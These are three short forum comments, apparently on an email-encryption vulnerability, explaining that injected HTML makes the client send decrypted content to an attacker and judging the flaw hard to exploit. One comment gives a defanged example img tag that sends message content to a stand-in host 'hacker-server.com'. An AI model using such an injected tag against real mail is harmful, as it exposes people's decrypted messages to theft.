noguespi

3 ms·

1. 1.▲
   by noguespi 8y ago

   You won't be able to decrypt email just by intercepting them
2. 2.▲
   by noguespi 8y ago

   Because the vulnerability is just about adding HTML tags which will send decrypted content to a remote server controlled by attacker. Example : <img hxxp://hacker-server.com/--ENCRYPED CONTENT HERE-- If you disable remo
3. 3.▲
   by noguespi 8y ago

   A lot of buzz for a not so critical vulnerability. Well it is critical but very hard to exploit because : 1. Hacker need to intercept the encrypted email. 2. HTML tags/remote content are blocked by default on most email client. Still a